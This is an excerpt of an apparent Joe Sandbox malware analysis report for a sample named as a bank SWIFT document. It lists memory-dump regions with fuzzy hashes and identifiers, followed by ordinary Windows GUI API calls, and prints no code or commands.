                                                                                                            • Instruction ID: 510d91ffff83148b0cd959945364c9f0850c157e6bed2fde48e93c7bca56644e
                                                                                                            • Opcode Fuzzy Hash: 032796a745032814f84d2830f8296107297334e28559f888d04fd73c700318ff
                                                                                                            • Instruction Fuzzy Hash: 6BE1E274A00218DFDB25DF60C944BADBBB6EF89300F1085AAD90A77365CB359E82DF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 651f4f6bb922762495887d748f2489e98c2ad4b39751cd1aa4421d498063ff57
                                                                                                            • Instruction ID: 388b74de2dc73fe1955915f041d6687cd159001af38e94996e988b9064b590a6
                                                                                                            • Opcode Fuzzy Hash: 651f4f6bb922762495887d748f2489e98c2ad4b39751cd1aa4421d498063ff57
                                                                                                            • Instruction Fuzzy Hash: B4916B70A007019FCB08DF79C8809AEBBE6FF99314B008639D446DB756DB78E946CB95
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 04c18a9753c223130d5cb817db43c24367c71f02752c17b459c931c84775df94
                                                                                                            • Instruction ID: 8b2b66477cd20f57cb91299cdc99ef241460eeea42fffb618d59caed9a1bbc42
                                                                                                            • Opcode Fuzzy Hash: 04c18a9753c223130d5cb817db43c24367c71f02752c17b459c931c84775df94
                                                                                                            • Instruction Fuzzy Hash: 7B710979A00219DFDB15DFB9C499AEDBFB2BF88714F144129D406AB390DB389942CF42
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 3b5a42d6c7c3e10d571c2653d5cc6b0be0c08374d65cffa004f6ccbfa7ef158a
                                                                                                            • Instruction ID: ad4ec77744461f61775c0039ed5bd36fff60a6cf972013fb907072e9bfae8c00
                                                                                                            • Opcode Fuzzy Hash: 3b5a42d6c7c3e10d571c2653d5cc6b0be0c08374d65cffa004f6ccbfa7ef158a
                                                                                                            • Instruction Fuzzy Hash: 17612574A00258DFDB15DF61C944BADBB7BEF88340F1088AA990A73365CB355E82DF04
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 9b0d1e50990db3160ef63f32cc744dc3bf4ffac8191d7267dda232624f9adb56
                                                                                                            • Instruction ID: 29fb39aef9ee8827599e86b1715dbcd952841041e93d4bc5428ecb1c355ee692
                                                                                                            • Opcode Fuzzy Hash: 9b0d1e50990db3160ef63f32cc744dc3bf4ffac8191d7267dda232624f9adb56
                                                                                                            • Instruction Fuzzy Hash: B3513374D01318DFDB14CFA5D954AADBBB2FF88300F208529D809AB395DB38594ACF40
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 11874eac7c53ef2a1c4d2b0c24cb0ae8354ca3e257898aac2b0902338093f721
                                                                                                            • Instruction ID: 4f8d4c77ca1126964f46b24a392c5a60bf6cc1a0111883bf373493da1ece34ac
                                                                                                            • Opcode Fuzzy Hash: 11874eac7c53ef2a1c4d2b0c24cb0ae8354ca3e257898aac2b0902338093f721
                                                                                                            • Instruction Fuzzy Hash: EB4173B1A043889FD705DF29C480ADE7FFAAF56320F5544BEC442AB652DB30AC49CB91
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: eb5439636bbfbe718896b1e15de8f3e61a6f6ce59e2fa10508e7e6b906062faa
                                                                                                            • Instruction ID: ad73e187e4975f5f370b320724a4afb5b0b6547c5264cb15ccfb1d6bfd6f5a67
                                                                                                            • Opcode Fuzzy Hash: eb5439636bbfbe718896b1e15de8f3e61a6f6ce59e2fa10508e7e6b906062faa
                                                                                                            • Instruction Fuzzy Hash: 68519774E00218DFDB55DFA9C990ADDBBB2FF89300F10816AD819AB365DB306946CF40
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 4cc59bbde0098bd3bb2efb8d83af7654110b255166b498503eab4295c608cb41
                                                                                                            • Instruction ID: 05a621ebcb4a4a172c17b525fe7b3d3c8598d0ff7799093141a4f746ed7158ea
                                                                                                            • Opcode Fuzzy Hash: 4cc59bbde0098bd3bb2efb8d83af7654110b255166b498503eab4295c608cb41
                                                                                                            • Instruction Fuzzy Hash: 6231F274A053448FDB24CB66C5906EEBBF29F9A210F14807EC046E7291DA35AC06CB62
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 2cf4a29b093b7aca541a1075431450b948e32c21ab684fd9b5515551295a6b81
                                                                                                            • Instruction ID: d63392a5e3ccda6e283d89ea2b4b790c34023546708454359c7435396c9e7e60
                                                                                                            • Opcode Fuzzy Hash: 2cf4a29b093b7aca541a1075431450b948e32c21ab684fd9b5515551295a6b81
                                                                                                            • Instruction Fuzzy Hash: 5F21396600E3C46FCB034BB58D20EC53F75AF4B20878A50DBE685CF4B3D12599A9DB22
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: ef63c3bb5a2095b60feb7f65a1c09c990659be8d242f05d861911735a6734231
                                                                                                            • Instruction ID: 1bfe42af0a7631187ee5e249bec25b4ea8d2b3aaa2cd8bed6778b622ff883b3b
                                                                                                            • Opcode Fuzzy Hash: ef63c3bb5a2095b60feb7f65a1c09c990659be8d242f05d861911735a6734231
                                                                                                            • Instruction Fuzzy Hash: 2631C174A013058BDB28CF6AC5907EEBBF69F9A350F10843DC446A7790DF34A805CBA2
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 788a92b52fc7bea892d2bf71b500376ecf5ae0a97d1cb27f8b1cab96741b3644
                                                                                                            • Instruction ID: aad901419ee26bad1cd4d68ff326213f34a803869ad77c011d5968cd7cdaf555
                                                                                                            • Opcode Fuzzy Hash: 788a92b52fc7bea892d2bf71b500376ecf5ae0a97d1cb27f8b1cab96741b3644
                                                                                                            • Instruction Fuzzy Hash: FD317C39A003099BDB19DF79C4986ED7FB2AF89254F14453DD406EB390DF389842CB52
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 8652fc75859147dd238af885b6d5aa76e50d592cec636397dea819326ff23b00
                                                                                                            • Instruction ID: decba5f62ab4ec922eb7ad60df7fd338c3f2f86f0cafa6a7362e3c5f32ee5fa8
                                                                                                            • Opcode Fuzzy Hash: 8652fc75859147dd238af885b6d5aa76e50d592cec636397dea819326ff23b00
                                                                                                            • Instruction Fuzzy Hash: 3521D674E013458FDB28CF6AD5906EEBBF29F99350F14853DC446A7290DB34AC05CBA2
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: ee8034448a811e6f00e946243b458b6c8d02a9eb70c6e36b0573e598d3c8c1e5
                                                                                                            • Instruction ID: 261bc3d06fe4252adb33f8d5cd836e726cc0515d7e2d97108c32df59ca09489e
                                                                                                            • Opcode Fuzzy Hash: ee8034448a811e6f00e946243b458b6c8d02a9eb70c6e36b0573e598d3c8c1e5
                                                                                                            • Instruction Fuzzy Hash: 91315774D02318DFEB00DFA5C4547EEBBB2AF8A304F108429E408BB281DB78594ACF91
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271262399.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_ad000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 66c8d1b79e01aab9e849613edb078969c8299ff26d3e00faaf95ffd91c129ee6
                                                                                                            • Instruction ID: 4b6f13a089f6249cbcb38e2d4197603762cba84cef99b2fcabe0e6ea360e0ef2
                                                                                                            • Opcode Fuzzy Hash: 66c8d1b79e01aab9e849613edb078969c8299ff26d3e00faaf95ffd91c129ee6
                                                                                                            • Instruction Fuzzy Hash: 0A21F271604204EFCB24DFA4D980F26BBA5EB89314F24C56AD94A4B656C33AD846CA62
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 739e61e2b04bd5c802514fc900a3eed8bd0ee2704fe3380713f8a9f309e097a2
                                                                                                            • Instruction ID: ae15ef577c2efc3a6b4ef948684b9bd01a4c7930370cce7fbb127986c5760066
                                                                                                            • Opcode Fuzzy Hash: 739e61e2b04bd5c802514fc900a3eed8bd0ee2704fe3380713f8a9f309e097a2
                                                                                                            • Instruction Fuzzy Hash: 22212778D00609EFDB00DFA5C849AEEBBF2FB89300F10896AD915B3251D7345A4ACF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: c8e11698c9d9c33aa3d9c6a998e50f9d717a91ba313438b2d4b210c67309eb05
                                                                                                            • Instruction ID: bc1b8831456209b59b385402849db46561aa301e7dc47fe6fb6149ff71f76829
                                                                                                            • Opcode Fuzzy Hash: c8e11698c9d9c33aa3d9c6a998e50f9d717a91ba313438b2d4b210c67309eb05
                                                                                                            • Instruction Fuzzy Hash: DD210378D00209EFDB00DFA5C844AEEBBF2FB89301F10896AD915B3250D7385A4ACF90
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271262399.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_ad000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 03eaf8a4334ce06a06af18b89caff828b05e34beddbd90a58a88570bb971307e
                                                                                                            • Instruction ID: 73944a564c1417d810b40fcea04bbbb6e418c2d807b7d868b6c4ed50261e12e5
                                                                                                            • Opcode Fuzzy Hash: 03eaf8a4334ce06a06af18b89caff828b05e34beddbd90a58a88570bb971307e
                                                                                                            • Instruction Fuzzy Hash: 4211DD75504280DFCB12CF54D5C4B15FFB2FB89314F28C6AAD84A4BA56C33AD84ACB62
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 5ed387d9b282e82900d54d3f7c6b5ee3c32516b7370ebac581cd871318eba3a5
                                                                                                            • Instruction ID: 3f0c57b05e8ffacd69fd4c3ec1e0a03449aa78d61fbbea7730d3006919e49660
                                                                                                            • Opcode Fuzzy Hash: 5ed387d9b282e82900d54d3f7c6b5ee3c32516b7370ebac581cd871318eba3a5
                                                                                                            • Instruction Fuzzy Hash: 540187317006019F8314DF2EC481D6AB7E6EF9A714300857AE00ACB736EB30EC4A8B80
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 7036069562b1cb46589e3dbbc1807f8ebf32c19e2aa2a8b8eefcf06c4488529c
                                                                                                            • Instruction ID: eac7e41385def7825351a420901a50ed4726bf80b44e2b59e99339d4fc59f3ee
                                                                                                            • Opcode Fuzzy Hash: 7036069562b1cb46589e3dbbc1807f8ebf32c19e2aa2a8b8eefcf06c4488529c
                                                                                                            • Instruction Fuzzy Hash: F6114870D0C3845FC7128F7888516DE7FF5EF42224F0440AED4859B692D774A548CBB6
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 504ec7d75b90117195c13da717b2cf9aef561f9025a398ab6685ca1643640f5b
                                                                                                            • Instruction ID: 78833a32bcda6c0507f59d58b727ef625fe174bddf71e3011e09db5886619ae7
                                                                                                            • Opcode Fuzzy Hash: 504ec7d75b90117195c13da717b2cf9aef561f9025a398ab6685ca1643640f5b
                                                                                                            • Instruction Fuzzy Hash: 7801CC360092C9AFCF038FA4CD10D857F76AF1B20478A50D7F6488B173D226D965EB21
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 79fd6a33c98e91862390830f621ea02dd2a54e31edcb41f862478d5c80f8e395
                                                                                                            • Instruction ID: f314f809f5065e1936ce01b80a6cfa31c2a75de5f58695ab263432e556a387f4
                                                                                                            • Opcode Fuzzy Hash: 79fd6a33c98e91862390830f621ea02dd2a54e31edcb41f862478d5c80f8e395
                                                                                                            • Instruction Fuzzy Hash: 79017830D026088FDB04DFA4D8446EDBBB1EF8B311F50906AC41473222DB359942CB52
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 92b3c6ba3d4d52319fbd1eb59f76a71ce670ceac61bad00c17d3a79b254ba919
                                                                                                            • Instruction ID: 12774be7e43ee86f6220239a8d692be3bbd030b3698c26a15885cc7cee50a764
                                                                                                            • Opcode Fuzzy Hash: 92b3c6ba3d4d52319fbd1eb59f76a71ce670ceac61bad00c17d3a79b254ba919
                                                                                                            • Instruction Fuzzy Hash: 6EF01434E01608CFDB44DFA9D8446EDB7B6FF9A311F50942AD814B3250EB39A952CF52
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: a0bde54f069960c710ac55e994522dc6f4d626700f589eb3c95325f4e40f577e
                                                                                                            • Instruction ID: a2ffa38f8606ffbc8b173f9c22c628af3bfafc66961ee15fa29cc1bc41db7557
                                                                                                            • Opcode Fuzzy Hash: a0bde54f069960c710ac55e994522dc6f4d626700f589eb3c95325f4e40f577e
                                                                                                            • Instruction Fuzzy Hash: 9AF0F430E082089FDB009FA9C841BEE7BE5FB86324F00853AE505A7754DB74A549CBA5
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 687f2d14ec782a9d5c499cf84c6d83cd3202c44957600efaca84e1dd86f17002
                                                                                                            • Instruction ID: 32b3788996f28a2239dbabf252608a8480290ce4b132ab049cd90f3d5d771197
                                                                                                            • Opcode Fuzzy Hash: 687f2d14ec782a9d5c499cf84c6d83cd3202c44957600efaca84e1dd86f17002
                                                                                                            • Instruction Fuzzy Hash: 8EF0E9207843452FC206267D5851BAA3A9E9FC2350F11407AE541CB2A6DF54DD0BC3A2
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 57f31003e9edc001c7f161320d31b60a738b093ce242dd4aa5d588432b4af871
                                                                                                            • Instruction ID: d0865c8237eb768aef4fe0787eb703bc9facf35984043d22052ab295f32a545c
                                                                                                            • Opcode Fuzzy Hash: 57f31003e9edc001c7f161320d31b60a738b093ce242dd4aa5d588432b4af871
                                                                                                            • Instruction Fuzzy Hash: 93F020207C02093BD60426AD8995BBF299EAFD2391F10483AF605C7258EE58DC0A83E2
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 390ac504a39fabefbf63276880f048ce203ea20f9542fa6f82faa3c4cac2d2f9
                                                                                                            • Instruction ID: 18fde2ede3aef9da6f5044db912a33faadbca668969557ecd982b3cad8bee16a
                                                                                                            • Opcode Fuzzy Hash: 390ac504a39fabefbf63276880f048ce203ea20f9542fa6f82faa3c4cac2d2f9
                                                                                                            • Instruction Fuzzy Hash: 5DE046B0025F05AFE2122B60ACAC6BABBA8FB0B313BC02C44B00D920628B684094CA11
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 0258771a6f9fcd34af3fb1f215cbcfffefbf38d37a6fd748c4e7d081a582076d
                                                                                                            • Instruction ID: 5f216c5fe85110862183ff77519f1acecd230c272ee1e65ab6dc4f130414aa6b
                                                                                                            • Opcode Fuzzy Hash: 0258771a6f9fcd34af3fb1f215cbcfffefbf38d37a6fd748c4e7d081a582076d
                                                                                                            • Instruction Fuzzy Hash: 81E0CD31268744CFC301CB19C8C9B54B768FF87714B5151E6D4454F526D6557C14D786
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: a207037c74add855ba5fd1af0d3febc1dd98d9885704474d78d43123e3d5de53
                                                                                                            • Instruction ID: bb19089d0aa6f051cc94dd34256d97fec077eb2c631c6c10c052c60104da95e1
                                                                                                            • Opcode Fuzzy Hash: a207037c74add855ba5fd1af0d3febc1dd98d9885704474d78d43123e3d5de53
                                                                                                            • Instruction Fuzzy Hash: D8D05E2254E7D00FC31742397C60C896F798CC762030A45EFE085CB0B799488E4ECBA6
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: d31506c6c62bab5ab783ebf7e814f65e8e7646f3f484d1d33ab30f518d530084
                                                                                                            • Instruction ID: 9cf5f50191a5900a9591bb3c97322f409e17eb84c63e8fdefbea233108348b7c
                                                                                                            • Opcode Fuzzy Hash: d31506c6c62bab5ab783ebf7e814f65e8e7646f3f484d1d33ab30f518d530084
                                                                                                            • Instruction Fuzzy Hash: AFC08032644510174218511D7940CDE565ECFE6370B00CF3FF008D31185D54CD4FC18E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: f2499bdc545d13a5b7121a93a8a2945499474b881443a4f5f34ff41ddd1e4b8e
                                                                                                            • Instruction ID: 3bf582c9d22f99f80853eacd36ba36655453dd3f2fb3357556339f0247effe74
                                                                                                            • Opcode Fuzzy Hash: f2499bdc545d13a5b7121a93a8a2945499474b881443a4f5f34ff41ddd1e4b8e
                                                                                                            • Instruction Fuzzy Hash: 7CC08CB0011E098BE2042F54BC0CBB9B7B8B74B323FC42D20E00C128318BB99424C644
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: c6eb6b5f40c3b8484d92aff0b7c1613fca6628a4411ee77e939bb4b7dd0aa87a
                                                                                                            • Instruction ID: 4bba83425f613f54b27b3e0bfd77e32bf2848f7eb9c3806d772fb9b802e34cea
                                                                                                            • Opcode Fuzzy Hash: c6eb6b5f40c3b8484d92aff0b7c1613fca6628a4411ee77e939bb4b7dd0aa87a
                                                                                                            • Instruction Fuzzy Hash: 97C08C302B42088FE200AA1DC684EA533ACEF8AB04F2018B0F5048B631CB22FC008A49
                                                                                                            APIs
                                                                                                            • GetDlgItem.USER32(?,000003F9), ref: 00404B28
                                                                                                            • GetDlgItem.USER32(?,00000408), ref: 00404B33
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
                                                                                                            • LoadBitmapW.USER32(0000006E), ref: 00404B90
                                                                                                            • SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
                                                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
                                                                                                            • ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
                                                                                                            • SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
                                                                                                            • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
                                                                                                            • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
                                                                                                            • DeleteObject.GDI32(00000000), ref: 00404C06
                                                                                                            • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
                                                                                                            • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
                                                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
                                                                                                            • SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
                                                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
                                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00404D41
